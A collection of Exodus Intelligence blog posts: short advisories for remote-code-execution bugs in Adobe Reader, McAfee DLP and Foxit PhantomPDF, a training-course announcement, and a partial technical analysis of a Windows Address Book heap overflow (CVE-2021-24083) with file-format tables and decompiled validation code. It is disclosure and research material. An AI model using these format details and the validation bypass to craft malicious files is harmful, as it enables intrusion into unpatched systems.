  • CVSSv2 Score: 9.4

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: May 14th, 2021
  • Disclosed to public: September 24th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post SolarWinds Serv-u File Server Command Injection appeared first on Exodus Intelligence.

Adobe Acrobat Reader Base URI Unicode String Heap Buffer Overflow

17 September 2021 at 13:22

EXP-2021-0014

A heap buffer overflow vulnerability exists in the IA32.api module of Adobe Acrobat and Acrobat Reader DC. Upon parsing a specially crafted PDF document containing URI entries with URI dictionaries and a specially crafted base URL defined with raw Unicode strings can trigger the vulnerability to achieve remote code execution.

Vulnerability Identifiers

  • Exodus Intelligence: EXP-2021-0014
  • MITRE CVE: CVE-2021-39863

Vulnerability Metrics

  • CVSSv2 Score: 8.8

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: June 28th, 2021
  • Disclosed to public: September 14th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post Adobe Acrobat Reader Base URI Unicode String Heap Buffer Overflow appeared first on Exodus Intelligence.

McAfee DLP Agent Stack Buffer Overflow RCE

17 September 2021 at 17:00

EIP-2015-0041

The vulnerability affects both Data Loss Prevention (DLP) Endpoint for Windows and the DLP Discover products from McAfee. The vulnerability is present within the included lasr.dll module, which is part of the Keyview SDK3 , and is responsible for parsing Ami Pro (.sam) files during server content inspection. A file format parsing vulnerability results in a stack-based buffer overflow that can be abused to achieve remote code execution.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-2015-0041
  • MITRE CVE: CVE-2021-31844, CVE-2021-31845

Vulnerability Metrics

  • CVSSv2 Score: 8.2

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendor: February 24th, 2021
  • Disclosed to public: September 14th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post McAfee DLP Agent Stack Buffer Overflow RCE appeared first on Exodus Intelligence.

Foxit PhantomPDF ConvertToPDF Arbitrary File Write Remote Code Execution Vulnerability

24 August 2021 at 21:00

EIP-2019-0007

The vulnerability exists within an RPC interface listening on TCP port 6000, exposed by Foxit PhantomPDF. The ConvertToPDF method of the Creator object does not properly validate the bstrDestPathName argument, allowing arbitrary files to be written under the context of the user running PhantomPDF. An attacker can create a specially crafted PDF file that will abuse this vulner- ability to achieve remote code execution.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-2019-0007
  • MITRE CVE: Pending

Vulnerability Metrics

  • CVSSv2 Score: 7.5

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendors: February 24th, 2021
  • Disclosed to public: July 27th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post Foxit PhantomPDF ConvertToPDF Arbitrary File Write Remote Code Execution Vulnerability appeared first on Exodus Intelligence.

Foxit PhantomPDF CombineFiles Arbitrary File Write Remote Code Execution Vulnerability

24 August 2021 at 20:55

EIP-2019-0006

The vulnerability exists within an RPC interface listening on TCP port 6000, exposed by Foxit PhantomPDF. The CombineFiles method of the Creator object does not properly validate the DestPDFFile argument, allowing arbitrary files to be written under the context of the user running PhantomPDF. An attacker can create a specially crafted PDF file that will abuse this vulnerability to achieve remote code execution.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-2019-0006
  • MITRE CVE: Pending

Vulnerability Metrics

  • CVSSv2 Score: 7.5

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendors: February 24th, 2021
  • Disclosed to public: July 27th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post Foxit PhantomPDF CombineFiles Arbitrary File Write Remote Code Execution Vulnerability appeared first on Exodus Intelligence.

Foxit PhantomPDF ConnectedPDF DocSearch_Locator_Table SQL Injection Remote Code Execution Vulnerability

24 August 2021 at 20:53

EIP-2018-0081

The vulnerability exists within the ConnectedPDF service, implemented by the FoxitPhantomConnectedPDFService.exe binary. The service listens for connections on TCP port 44440 on localhost and fails to sanitize input data before using it to construct SQL queries. This allows arbitrary files to be written under the context of the user running PhantomPDF. An attacker can create a specially crafted PDF file that will abuse this vulnerability to achieve remote code execution. Each message has a Type field, denoting the message type. The vulnerability resides in the processing of message type 1004, the handler of which is characterized by string references such as “DocSearch_Locator_Table”.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-2018-0081
  • MITRE CVE: Pending

Vulnerability Metrics

  • CVSSv2 Score: 7.5

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendors: February 24th, 2021
  • Disclosed to public: July 27th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post Foxit PhantomPDF ConnectedPDF DocSearch_Locator_Table SQL Injection Remote Code Execution Vulnerability appeared first on Exodus Intelligence.

Foxit PhantomPDF ConnectedPDF ConnectedPDF_DRM_Table SQL Injection Remote Code Execution Vulnerability

24 August 2021 at 20:51

EIP-2018-0080

The vulnerability exists within the ConnectedPDF service, implemented by the FoxitPhantomConnectedPDFService.exe binary. The service listens for connections on TCP port 44440 on localhost and fails to sanitize input data before using it to construct SQL queries. This allows arbitrary files to be written under the context of the user running PhantomPDF. An attacker can create a specially crafted PDF file that will abuse this vulnerability to achieve remote code execution. Each message has a Type field, denoting the message type. The vulnerability resides in the processing of message type 1003, the handler of which is characterized by string references such as “ConnectedPDF_DRM_Table”.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-2018-0080
  • MITRE CVE: Pending

Vulnerability Metrics

  • CVSSv2 Score: 7.5

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendors: February 24th, 2021
  • Disclosed to public: July 27th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post Foxit PhantomPDF ConnectedPDF ConnectedPDF_DRM_Table SQL Injection Remote Code Execution Vulnerability appeared first on Exodus Intelligence.

Foxit PhantomPDF ConnectedPDF DocUpdate_Notify_Table SQL Injection Remote Code Execution Vulnerability

24 August 2021 at 20:50

EIP-2018-0057

The vulnerability exists within the ConnectedPDF service, implemented by the FoxitPhantomConnectedPDFService.exe binary. The service listens for connections on TCP port 44440 on localhost and fails to sanitize input data before using it to construct SQL queries. This allows arbitrary files to be written under the context of the user running PhantomPDF. An attacker can create a specially crafted PDF file that will abuse this vulnerability to achieve remote code execution. Each message has a Type field, denoting the message type. The vulnerability resides in the processing of message type 1007, the handler of which is characterized by string references such as “DocUpdate_Notify_Table”.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-2018-0057
  • MITRE CVE: Pending

Vulnerability Metrics

  • CVSSv2 Score: 7.5

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendors: February 24th, 2021
  • Disclosed to public: July 27th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post Foxit PhantomPDF ConnectedPDF DocUpdate_Notify_Table SQL Injection Remote Code Execution Vulnerability appeared first on Exodus Intelligence.

Foxit PhantomPDF extractPages Arbitrary File Write Remote Code Execution Vulnerability

24 August 2021 at 20:47

EIP-2018-0046

The vulnerability exists within the JavaScript PDF API exposed by Foxit PhantomPDF. The extractPages method of the Document object does not properly validate the export path argument, allowing arbitrary files to be written under the context of the user running PhantomPDF. An attacker can create a specially crafted PDF file that will abuse this vulnerability to achieve remote code execution.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-2018-0046
  • MITRE CVE: Pending

Vulnerability Metrics

  • CVSSv2 Score: 7.5

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendors: February 24th, 2021
  • Disclosed to public: July 27th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post Foxit PhantomPDF extractPages Arbitrary File Write Remote Code Execution Vulnerability appeared first on Exodus Intelligence.

Foxit PhantomPDF loadHtmlView Context Level Bypass Vulnerability

23 August 2021 at 21:03

EIP-2018-0045

The vulnerability exists within the JavaScript PDF API exposed by Foxit PhantomPDF. The loadHtmlView method of the app object invokes attacker-controlled JavaScript code in a privileged context. An attacker can create a specially crafted PDF file that will abuse this vulnerability to bypass the context based security mechanism of the JS PDF API.

Vulnerability Identifiers

  • Exodus Intelligence: EIP-2018-0045
  • MITRE CVE: Pending

Vulnerability Metrics

  • CVSSv2 Score: 6.8

Vendor References

Discovery Credit

  • Exodus Intelligence

Disclosure Timeline

  • Disclosed to affected vendors: February 24th, 2021
  • Disclosed to public: July 27th, 2021

Further Information

Readers of this advisory who are interested in receiving further details around the vulnerability, mitigations, detection guidance, and more can contact us at [email protected].

Researchers who are interested in monetizing their 0Day and NDay can work with us through our Research Sponsorship Program.

The post Foxit PhantomPDF loadHtmlView Context Level Bypass Vulnerability appeared first on Exodus Intelligence.

Vulnerability Development Courses for 2021

17 August 2021 at 00:54

We are pleased to announce that the researchers of Exodus Intelligence will be providing publicly available training in person in early November in Austin, TX.

In an effort to fully teach the breadth and depth of Vulnerability Intelligence and Exploitation, we have structured our offerings in the form of three distinct courses.

The intermediate course, titled the Vulnerability Assessment Class, covers a wide range of vulnerability and exploitation related topics and is intended for the beginner to intermediate level practitioner. This course is intended to prepare the student to fully defend the modern enterprise by being aware and equipped to assess the impact of vulnerabilities across the breadth of the application space.

We will also be offering an updated version of our popular Vulnerability Development Master Class. This course will cover advanced topics such as dynamic reverse engineering, kernel exploitation concepts, browser exploitation, mitigation bypasses, and other topics.

Our third offering will be our Mobile Vulnerability Exploitation Class. This class will cover advanced topics concerning mobile platforms.

Dates & Locations

All three courses will run concurrently.

  • November 1st-5th 2021, Austin, TX, USA

Attendees should plan to travel and arrive prior to Monday, November 1st. The course work will conclude on Friday, November 5th, 2021.

Seating is limited. Since this training will be in person, there are a limited number of seats available.

Vulnerability Assessment Class

This 5 day course is designed to provide students with a comprehensive and progressive approach to understanding vulnerability and exploitation topics on both the Linux and Windows platforms. Attendees will be immersed in hands-on exercises that impart valuable skills including a deep dive into the various types of vulnerabilities exploited today, static and dynamic reverse engineering, vulnerability discovery, and exploitation of widely deployed server and client-side applications. This class will cover a lot of material and move very quickly.

Prerequisites

  • Computer with ability to run a VMWare image (recommended 16GB+ memory)
  • Some familiarity with debuggers, Python, C/C++, x86 ASM. IDA Pro experience a plus.
  • No prior vulnerability discovery experience is necessary

Syllabus to be provided in the near future.

Pricing and Registration

The cost for the 5-day course is $5000 USD per student. You may e-mail [email protected] to register and we will supply a purchase order.

We will be providing a template request form in the near future to help justify attendance to management.

Vulnerability Development Master Class

This 5 day course is designed to provide students with a comprehensive and progressive approach to understanding vulnerability and exploitation topics on both the Linux and Windows platforms. Attendees will be immersed in hands-on exercises that impart valuable skills including a deep dive into exploiting kernel and browser vulnerabilities, static and dynamic reverse engineering, 0-day vulnerability discovery, and exploitation and workarounds of current mitigations. This is a very hands on deep dive. Course will be taught by Exodus researchers.

Prerequisites

  • Computer with ability to run a VMWare image (recommended 16GB+ memory)
  • Student must be comfortable with debuggers, Python, C/C++, x86 ASM, and IDA Pro.
  • No prior vulnerability discovery experience is necessary

Syllabus to be provided in the near future.

Pricing and Registration

The cost for the 5-day course is $6500 USD per student. You may e-mail [email protected] to register and we will supply a purchase order.

We will be providing a template request form in the near future to help justify attendance to management.

Mobile Vulnerability Exploitation Class

This 5 day course is designed to provide students with a comprehensive and progressive approach to understanding advanced exploitation topics involving the Android operating system. Attendees will be immersed in hands-on exercises that impart valuable skills including a deep dive into the various types of vulnerabilities exploited today, static and dynamic reverse engineering, vulnerability discovery, and exploitation of widely deployed mobile platforms and applications. This course is highly advanced and will cover difficult materials. Course will be taught by Exodus researchers.

Prerequisites

  • Computer with ability to run a VMWare image (recommended 16GB+ memory)
  • Some comfort with debuggers, Python, C/C++, ARM ASM and IDA Pro
  • No prior vulnerability discovery experience is necessary

Syllabus to be provided in the near future.

Pricing and Registration

The cost for the 5-day course is $7500 USD per student. You may e-mail [email protected] to register and we will supply a purchase order.

We will be providing a template request form in the near future to help justify attendance to management.

Covid-19 and Travel

We understand that travel conditions are constantly changing due to Covid-19. To that end, Exodus will adjust the course if necessary. If the situation arises that requires adjustment, Exodus will release an official statement and alert all registered students. In the case of cancellation, refunds (or course credit for future offerings at student’s discretion) will be provided.

The post Vulnerability Development Courses for 2021 appeared first on Exodus Intelligence.

Analysis of a Heap Buffer-Overflow Vulnerability in Microsoft Windows Address Book

5 August 2021 at 12:26

By Eneko Cruz Elejalde

Overview

This post analyzes a heap-buffer overflow in Microsoft Windows Address Book. Microsoft released an advisory for this vulnerability for the 2021 February patch Tuesday. This post will go into detail about what Microsoft Windows Address Book is, the vulnerability itself, and the steps to craft a proof-of-concept exploit that crashes the vulnerable application.

Windows Address Book

Windows Address Book is a part of the Microsoft Windows operating system and is a service that provides users with a centralized list of contacts that can be accessed and modified by both Microsoft and third party applications. The Windows Address Book maintains a local database and interface for finding and editing information about contacts, and can query network directory servers using Lightweight Directory Access Protocol (LDAP). The Windows Address Book was introduced in 1996 and was later replaced by Windows Contacts in Windows Vista and subsequently by the People App in Windows 10.

The Windows Address Book provides an API that enables other applications to directly use its database and user interface services to enable services to access and modify contact information. While Microsoft has replaced the application providing the Address Book functionality, newer replacements make use of old functionality and ensure backwards compatibility. The Windows Address Book functionality is present in several Windows Libraries that are used by Windows 10 applications, including Outlook and Windows Mail. In this way, modern applications make use of the Windows Address Book and can even import address books from older versions of Windows.

CVE-2021-24083

A heap-buffer overflow vulnerability exists within the SecurityCheckPropArrayBuffer() function within wab32.dll when processing nested properties of a contact. The network-based attack vector involves enticing a user to open a crafted .wab file containing a malicious composite property in a WAB record.

Vulnerability

The vulnerability analysis that follows is based on Windows Address Book Contacts DLL (wab32.dll) version 10.0.19041.388 running on Windows 10 x64.

The Windows Address Book Contacts DLL (i.e. wab32.dll) provides access to the Address Book API and it is used by multiple applications to interact with the Windows Address Book. The Contacts DLL handles operations related to contact and identity management. Among others, the Contacts DLL is able to import an address book (i.e, a WAB file) exported from an earlier version of the Windows Address Book.

Earlier versions of the Windows Address Book maintained a database of identities and contacts in the form of a .wab file. While current versions of Windows do not use a .wab file by default anymore, they allow importing a WAB file from an earlier installation of the Windows Address Book.

There are multiple ways of importing a WAB file into the Windows Address Book, but it was observed that applications rely on the Windows Contacts Import Tool (i.e, C:\Program Files\Windows Mail\wabmig.exe) to import an address book. The Import Tool loads wab32.dll to handle loading a WAB file, extracting relevant contacts, and importing them into the Windows Address Book.

WAB File Format

The WAB file format (commonly known as Windows Address Book or Outlook Address Book) is an undocumented and proprietary file format that contains personal identities. Identities may in turn contain contacts, and each contact might contain one or more properties.

Although the format is undocumented, the file-format has been partially reverse-engineered by a third party. The following structures were obtained from a combination of a publicly available third-party application and the disassembly of wab32.dll. Consequently, there may be inaccuracies in structure definitions, field names, and field types.

The WAB file has the following structure:

Offset      Length (bytes)    Field                   Description
---------   --------------    --------------------    -------------------
0x0         16                Magic Number            Sixteen magic bytes
0x10        4                 Count 1                 Unknown Integer
0x14        4                 Count 2                 Unknown Integer
0x18        16                Table Descriptor 1      Table descriptor
0x28        16                Table Descriptor 2      Table descriptor
0x38        16                Table Descriptor 3      Table descriptor
0x48        16                Table Descriptor 4      Table descriptor
0x58        16                Table Descriptor 5      Table descriptor
0x68        16                Table Descriptor 6      Table descriptor

All multi-byte fields are represented in little-endian byte order unless otherwise specified. All string fields are in Unicode, encoded in the UTF16-LE format.

The Magic Number field contains the following sixteen bytes: 9c cb cb 8d 13 75 d2 11 91 58 00 c0 4f 79 56 a4. While some sources list the sequence of bytes 81 32 84 C1 85 05 D0 11 B2 90 00 AA 00 3C F6 76 as a valid magic number for a WAB file, it was found experimentally that replacing the sequence of bytes prevents the Windows Address Book from processing the file.

Each of the six Table Descriptor fields numbered 1 through 6 has the following structure:

Offset    Length    Field    Description
          (bytes)
-------   --------  -------  -------------------
0x0       4         Type     Type of table descriptor
0x4       4         Size     Size of the record described
0x8       4         Offset   Offset of the record described relative to the beginning of file
0xC       4         Count    Number of records present at offset

The following are examples of some known types of table descriptor:

  • Text Record (Type: 0x84d0): A record containing a Unicode string.
  • Index Record (Type: 0xFA0): A record that may contain several descriptors to WAB records.

Each text record has the following structure:

Offset   Length (bytes)    Field          Description
------   --------------    ------------   -------------------
0x0      N                 Content        Text content of the record; a null terminated UNICODE string
0x0+N    0x4               RecordId       A record identifier for the text record 

Similarly, each index record has the following structure

Offset      Length (bytes)    Field        Description
---------   --------------    ----------   -------------------
0x0         4                 RecordId     A record identifier for the index record
0x4         4                 Offset       Offset of the record relative to the beginning of the file

Each entry in the index record (i.e, each index record structure in succession) has an offset that points to a WAB record.

WAB Records

A WAB record is used to describe a contact. It contains fields such as email addresses and phone numbers stored in properties, which may be of various types such as string, integer, GUID, and timestamp. Each WAB record has the following structure:

Offset      Length   Field              Description
---------   ------   ---------------    -------------------
0x0         4        Unknown1           Unknown field
0x4         4        Unknown2           Unknown field
0x8         4        RecordId           A record identifier for the WAB record
0xC         4        PropertyCount      The number of properties contained in RecordProperties
0x10        4        Unknown3           Unknown field 
0x14        4        Unknown4           Unknown field 
0x18        4        Unknown5           Unknown field 
0x1C        4        DataLen            The length of the RecordProperties field (M)
0x20        M        RecordProperties   Succession of subproperties belonging to the WAB record

The following fields are relevant:

  • The RecordProperties field is a succession of record property structures.
  • The PropertyCount field indicates the number of properties within the RecordProperties field.

Record properties can be either simple or composite.

Simple Properties

Simple properties have the following structure:

Offset      Length (bytes)    Field       Description
---------   --------------    ---------   -------------------
0x0         0x2               Tag         A property tag describing the type of the contents
0x2         0x2               Unknown     Unknown field
0x4         0x4               Size        Size in bytes of Value member (X)
0x8         X                 Value       Property value or content

Tags of simple properties are smaller than 0x1000, and include the following:

Tag Name        Tag Value    Length      Description
                             (bytes)
---------       -----------  ---------   -------------------
PtypInteger16   0x00000002   2           A 16-bit integer
PtypInteger32   0x00000003   4           A 32-bit integer
PtypFloating32  0x00000004   4           A 32-bit floating point number
PtypFloating64  0x00000005   8           A 64-bit floating point number
PtypBoolean     0x0000000B   2           Boolean, restricted to 1 or 0
PtypString8     0x0000001E   Variable    A string of multibyte characters in externally specified
                                         encoding with terminating null character (single 0 byte)
PtypBinary      0x00000102   Variable    A COUNT field followed by that many bytes
PtypString      0x0000001F   Variable    A string of Unicode characters in UTF-16LE format encoding
                                         with terminating null character (0x0000).
PtypGuid        0x00000048   16          A GUID with Data1, Data2, and Data3 filds in little-endian
PtypTime        0x00000040   8           A 64-bit integer representing the number of 100-nanosecond
                                         intervals since January 1, 1601
PtypErrorCode   0x0000000A   4           A 32-bit integer encoding error information

Note the following:

  • The aforementioned list is not exhaustive. For more property tag definitions, see this.
  • The value of PtypBinary is prefixed by a COUNT field, which counts 16-bit words.
  • In addition to the above, the following properties also exist; their usage in WAB is unknown.
    • PtypEmbeddedTable (0x0000000D): The property value is a Component Object Model (COM) object.
    • PtypNull (0x00000001): None: This property is a placeholder.
    • PtypUnspecified (0x00000000): Any: this property type value matches any type;

Composite Properties

Composite properties have the following structure:

Offset  Length     Field             Description
        (bytes)
------  ---------  ----------------- -------------------
0x0     0x2        Tag               A property tag describing the type of the contents
0x2     0x2        Unknown           Unknown field
0x4     0x4        NestedPropCount   Number of nested properties contained in the current WAB property
0x8     0x4        Size              Size in bytes of Value member (X)
0xC     X          Value             Property value or content

Tags of composite properties are greater than or equal to 0x1000, and include the following:

Tag Name                Tag Value
---------               ----------
PtypMultipleInteger16   0x00001002
PtypMultipleInteger32   0x00001003
PtypMultipleString8     0x0000101E
PtypMultipleBinary      0x00001102
PtypMultipleString      0x0000101F
PtypMultipleGuid        0x00001048
PtypMultipleTime        0x00001040


The Value field of each composite property contains NestedPropCount number of Simple properties of the corresponding type.

In case of fixed-sized properties (PtypMultipleInteger16, PtypMultipleInteger32, PtypMultipleGuid, and PtypMultipleTime), the Value field of a composite property contains NestedPropCount number of the Value field of the corresponding Simple property.

For example, in a PtypMultipleInteger32 structure with NestedPropCount of 4:

  • The Size is always 16.
  • The Value contains four 32-bit integers.

In case of variable-sized properties (PtypMultipleString8, PtypMultipleBinary, and PtypMultipleString), the Value field of the composite property contains NestedPropCount number of Size and Value fields of the corresponding Simple property.

For example, in a PtypMultipleString structure with NestedPropCount of 2 containing the strings “foo” and “bar” in Unicode:

  • The Size is 14 00 00 00.
  • The Value field contains a concatenation of the following two byte-strings:
    • “foo” encoded with a four-byte length: 06 00 00 00 66 00 6f 00 6f 00.
    • “bar” encoded with a four-byte length: 06 00 00 00 62 00 61 00 72 00.

Technical Details

The vulnerability in question occurs when a malformed Windows Address Book in the form of a WAB file is imported. When a user attempts to import a WAB file into the Windows Address Book, the method WABObjectInternal::Import() is called, which in turn calls ImportWABFile(). For each contact inside the WAB file, ImportWABFile() performs the following nested calls: ImportContact(), CWABStorage::ReadRecord(), ReadRecordWithoutLocking(), and finally HrGetPropArrayFromFileRecord(). This latter function receives a pointer to a file as an argument and reads the contact header and extracts PropertyCount and DataLen. The function HrGetPropArrayFromFileRecord() in turn calls SecurityCheckPropArrayBuffer() to perform security checks upon the imported file and HrGetPropArrayFromBuffer() to read the contact properties into a property array.

The function HrGetPropArrayFromBuffer() relies heavily on the correctness of the checks performed by SecurityCheckPropArrayBuffer(). However, the function fails to implement security checks upon certain property types. Specifically, SecurityCheckPropArrayBuffer() may skip checking the contents of nested properties where the property tag is unknown, while the function HrGetPropArrayFromBuffer() continues to process all nested properties regardless of the security check. As a result, it is possible to trick the function HrGetPropArrayFromBuffer() into parsing an unchecked contact property. As a result of parsing such a property, the function HrGetPropArrayFromBuffer() can be tricked into overflowing a heap buffer.

Code Analysis

The following code blocks show the affected parts of methods relevant to this vulnerability. Code snippets are demarcated by reference markers denoted by [N]. Lines not relevant to this vulnerability are replaced by a [Truncated] marker.

The following is the pseudocode of the function HrGetPropArrayFromFileRecord:

[1]

if ( !(unsigned int)SecurityCheckPropArrayBuffer(wab_buffer_full, HIDWORD(uBytes[1]), wab_buffer[3]) )
  {

[2]
    result = 0x8004011b;        // Error
    goto LABEL_25;              // Return prematurely
  }

[3]
  result = HrGetPropArrayFromBuffer(wab_buffer_full, HIDWORD(uBytes[1]), wab_buffer[3], 0, a7);

At [1] the function SecurityCheckPropArrayBuffer() is called to perform a series of security checks upon the buffer received and the properties contained within. If the check is positive, then the input is trusted and processed by calling HrGetPropArrayFromBuffer() at [3]. Otherwise, the function returns with an error at [2].

The following is the pseudocode of the function SecurityCheckPropArrayBuffer():

    __int64 __fastcall SecurityCheckPropArrayBuffer(unsigned __int8 *buffer_ptr, unsigned int buffer_length, int header_dword_3)
    {
      unsigned int security_check_result; // ebx
      unsigned int remaining_buffer_bytes; // edi
      int l_header_dword_3; // er15
      unsigned __int8 *ptr_to_buffer; // r9
      int current_property_tag; // ecx
      __int64 c_dword_2; // r8
      unsigned int v9; // edi
      int VA; // ecx
      int VB; // ecx
      int VC; // ecx
      int VD; // ecx
      int VE; // ecx
      int VF; // ecx
      int VG; // ecx
      int VH; // ecx
      signed __int64 res; // rax
      _DWORD *ptr_to_dword_1; // rbp
      unsigned __int8 *ptr_to_dword_0; // r14
      unsigned int dword_2; // eax
      unsigned int v22; // edi
      int v23; // esi
      int v24; // ecx
      unsigned __int8 *c_ptr_to_property_value; // [rsp+60h] [rbp+8h]
      unsigned int v27; // [rsp+68h] [rbp+10h]
      unsigned int copy_dword_2; // [rsp+70h] [rbp+18h]

      security_check_result = 0;
      remaining_buffer_bytes = buffer_length;
      l_header_dword_3 = header_dword_3;
      ptr_to_buffer = buffer_ptr;
      if ( header_dword_3 )                      
      {
        while ( remaining_buffer_bytes > 4 )        
        {

[4]

          if ( *(_DWORD *)ptr_to_buffer & 0x1000 )  
          {

[5]

            current_property_tag = *(unsigned __int16 *)ptr_to_buffer;
            if ( current_property_tag == 0x1102 ||                    
                 (unsigned int)(current_property_tag - 0x101E) <= 1 ) 
            {                         

[6]
                                      
              ptr_to_dword_1 = ptr_to_buffer + 4;                     
              ptr_to_dword_0 = ptr_to_buffer;
              if ( remaining_buffer_bytes < 0xC )                     
                return security_check_result;                         
              dword_2 = *((_DWORD *)ptr_to_buffer + 2);
              v22 = remaining_buffer_bytes - 0xC;
              if ( dword_2 > v22 )                                     
                return security_check_result;                         
              ptr_to_buffer += 12;
              copy_dword_2 = dword_2;
              remaining_buffer_bytes = v22 - dword_2;
              c_ptr_to_property_value = ptr_to_buffer;                
              v23 = 0;                                                
              if ( *ptr_to_dword_1 > 0u )
              {
                while ( (unsigned int)SecurityCheckSingleValue(
                                        *(_DWORD *)ptr_to_dword_0,
                                        &c_ptr_to_property_value,
                                        ©_dword_2) )
                {
                  if ( (unsigned int)++v23 >= *ptr_to_dword_1 )       
                  {                                                   
                    ptr_to_buffer = c_ptr_to_property_value;
                    goto LABEL_33;
                  }
                }
                return security_check_result;
              }
            }
            else                                                         
            {
             
[7]

              if ( remaining_buffer_bytes < 0xC )
                return security_check_result;
              c_dword_2 = *((unsigned int *)ptr_to_buffer + 2);       
              v9 = remaining_buffer_bytes - 12;
              if ( (unsigned int)c_dword_2 > v9 )                     
                return security_check_result;                         
              remaining_buffer_bytes = v9 - c_dword_2;
              VA = current_property_tag - 0x1002;                     
              if ( VA )
              {
                VB = VA - 1;
                if ( VB && (VC = VB - 1) != 0 )
                {
                  VD = VC - 1;
                  if ( VD && (VE = VD - 1) != 0 && (VF = VE - 1) != 0 && (VG = VF - 13) != 0 && (VH = VG - 44) != 0 )
                    res = VH == 8 ? 16i64 : 0i64;
                  else
                    res = 8i64;
                }
                else
                {
                  res = 4i64;
                }
              }
              else
              {
                res = 2i64;
              }
              if ( (unsigned int)c_dword_2 / *((_DWORD *)ptr_to_buffer + 1) != res ) 
                return security_check_result;                                        
                                                                                     

              ptr_to_buffer += c_dword_2 + 12;
            }
          }
          else                                     
          {                                        

[8]

            if ( remaining_buffer_bytes < 4 )       
              return security_check_result;
            v24 = *(_DWORD *)ptr_to_buffer;         
            c_ptr_to_property_value = ptr_to_buffer + 4;// new exe: v13 = buffer_ptr + 4;
            v27 = remaining_buffer_bytes - 4;       
            if ( !(unsigned int)SecurityCheckSingleValue(v24, &c_ptr_to_property_value, &v27) )
              return security_check_result;
            remaining_buffer_bytes = v27;
            ptr_to_buffer = c_ptr_to_property_value;
          }
    LABEL_33:
          if ( !--l_header_dword_3 )
            break;
        }
      }
      if ( !l_header_dword_3 )
        security_check_result = 1;
      return security_check_result;
    }

At [4] the tag of the property being processed is checked. The checks performed depend on whether the property processed in each iteration is a simple or a composite property. For simple properties (i.e, properties with tag lower than 0x1000), execution continues at [8]. The following checks are done for simple properties:

  1. If the remaining number of bytes in the buffer is fewer than 4, the function returns with an error.
  2. A pointer to the property value is obtained and SecurityCheckSingleValue() is called to perform a security check upon the simple property and its value. SecurityCheckSingleValue() performs a security check and increments the pointer to point at the next property in the buffer, so that SecurityCheckPropArrayBuffer() can check the next property on the next iteration.
  3. The number of total properties is decremented and compared to zero. If equal to zero, then the function returns successfully. If different, the next iteration of the loop checks the next property.

Similarly, for composite properties (i.e, properties with tag equal or higher than 0x1000) execution continues at [5] and the following is done.

For variable length composite properties (if the property tag is equal to 0x1102 (PtypMultipleBinary) or equal or smaller than 0x101f (PtypMultipleString)), the code at [6] does the following:

  1. The number of bytes left to read in the buffer is compared with 0xC to avoid overrunning the buffer.
  2. The Size field of the property is compared to the remaining buffer length to avoid overrunning the buffer.
  3. For each nested property, the function SecurityCheckSingleValue() is called. It:
    1. Performs a security check on the nested property.
    2. Advances the pointer to the buffer held by the caller, in order to point to the next nested property.
  4. The loop runs until the number of total properties in the contact (decremented in each iteration) is zero.

For fixed-length composite properties (if the property tag in question is different from 0x1102 (PtypMultipleBinary) and larger than 0x101f (PtypMultipleString)), the following happens starting at [7]:

  1. The number of bytes left to read in the buffer is compared with 0xC to avoid overrunning the buffer.
  2. The Size is compared to the remaining buffer length to avoid overrunning the buffer.
  3. The size of each nested property, which depends only on the property tag, is calculated from the parent property tag.
  4. The Size is divided by NestedPropCount to obtain the size of each nested property.
  5. The function returns with an error if the calculated subproperty size is different from the property size deduced from parent property tag.
  6. The buffer pointer is incremented by the size of the parent property value to point to the next property.

Unknown or non-processable property types are assigned the nested property size 0x0.

